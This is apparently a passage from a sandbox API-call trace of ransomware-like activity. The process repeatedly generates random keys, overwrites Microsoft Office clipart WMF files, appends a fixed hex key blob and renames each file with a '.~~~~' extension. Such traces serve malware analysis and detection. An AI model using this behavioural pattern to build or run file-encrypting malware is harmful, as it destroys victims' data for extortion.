	[0104.893] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.893] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.893] CloseHandle (hObject=0x120) returned 1
	[0104.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0104.893] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.~~~~")) returned 1
	[0104.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.894] GetLastError () returned 0x0
	[0104.895] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2941768) returned 1
	[0104.896] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.896] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.897] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22488683930) returned 1
	[0104.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8328050, dwHighDateTime=0x1d60e1e)) 
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c950
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c950 | out: hHeap=0x300000) returned 1
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0104.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a3f0
	[0104.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.898] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.898] GetLastError () returned 0x0
	[0104.898] GetLastError () returned 0x0
	[0104.898] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.898] GetLastError () returned 0x0
	[0104.898] GetLastError () returned 0x0
	[0104.955] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe0b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.956] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f50, lpOverlapped=0x0) returned 1
	[0104.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0104.959] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.959] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.960] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.960] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.960] CloseHandle (hObject=0x120) returned 1
	[0104.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2940848
	[0104.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.~~~~")) returned 1
	[0104.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2940848 | out: hHeap=0x300000) returned 1
	[0104.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.967] GetLastError () returned 0x0
	[0104.967] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2941768) returned 1
	[0104.969] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.969] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.969] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22495915616) returned 1
	[0104.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa83e6730, dwHighDateTime=0x1d60e1e)) 
	[0104.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cad8
	[0104.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cad8 | out: hHeap=0x300000) returned 1
	[0104.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2940848
	[0104.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a488
	[0104.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2940848 | out: hHeap=0x300000) returned 1
	[0104.970] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.970] GetLastError () returned 0x0
	[0104.970] GetLastError () returned 0x0
	[0104.970] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.970] GetLastError () returned 0x0
	[0104.970] GetLastError () returned 0x0
	[0104.977] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff5b78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.977] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xa488, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xa488, lpOverlapped=0x0) returned 1
	[0104.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.979] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.979] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.979] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.979] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.979] CloseHandle (hObject=0x138) returned 1
	[0104.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.980] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.~~~~")) returned 1
	[0104.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.982] GetLastError () returned 0x0
	[0104.982] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2941768) returned 1
	[0104.984] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.984] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.984] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22497398438) returned 1
	[0104.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa840c890, dwHighDateTime=0x1d60e1e)) 
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cb48
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cb48 | out: hHeap=0x300000) returned 1
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a8b0
	[0104.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.985] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.985] GetLastError () returned 0x0
	[0104.985] GetLastError () returned 0x0
	[0104.985] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.985] GetLastError () returned 0x0
	[0104.985] GetLastError () returned 0x0
	[0104.988] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe0ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.988] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1f46, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f46, lpOverlapped=0x0) returned 1
	[0104.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.989] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.989] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.989] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.989] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.990] CloseHandle (hObject=0x138) returned 1
	[0104.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.990] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.~~~~")) returned 1
	[0104.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.991] GetLastError () returned 0x0
	[0104.992] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2941768) returned 1
	[0104.993] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.993] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.993] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22498350591) returned 1
	[0104.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa840c890, dwHighDateTime=0x1d60e1e)) 
	[0104.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cb80
	[0104.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cb80 | out: hHeap=0x300000) returned 1
	[0104.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a9e0
	[0104.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.994] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.994] GetLastError () returned 0x0
	[0104.995] GetLastError () returned 0x0
	[0104.995] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.995] GetLastError () returned 0x0
	[0104.995] GetLastError () returned 0x0
	[0105.009] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffdb1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.009] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x24e2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x24e2, lpOverlapped=0x0) returned 1
	[0105.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.010] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.010] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.010] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.011] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.011] CloseHandle (hObject=0x138) returned 1
	[0105.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.011] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.~~~~")) returned 1
	[0105.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.023] GetLastError () returned 0x0
	[0105.096] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.098] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.098] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.098] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22508806021) returned 1
	[0105.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8517230, dwHighDateTime=0x1d60e1e)) 
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ce40
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce40 | out: hHeap=0x300000) returned 1
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286ad70
	[0105.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.099] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.099] GetLastError () returned 0x0
	[0105.099] GetLastError () returned 0x0
	[0105.099] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.099] GetLastError () returned 0x0
	[0105.099] GetLastError () returned 0x0
	[0105.105] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff64c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.105] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x9b3a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x9b3a, lpOverlapped=0x0) returned 1
	[0105.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
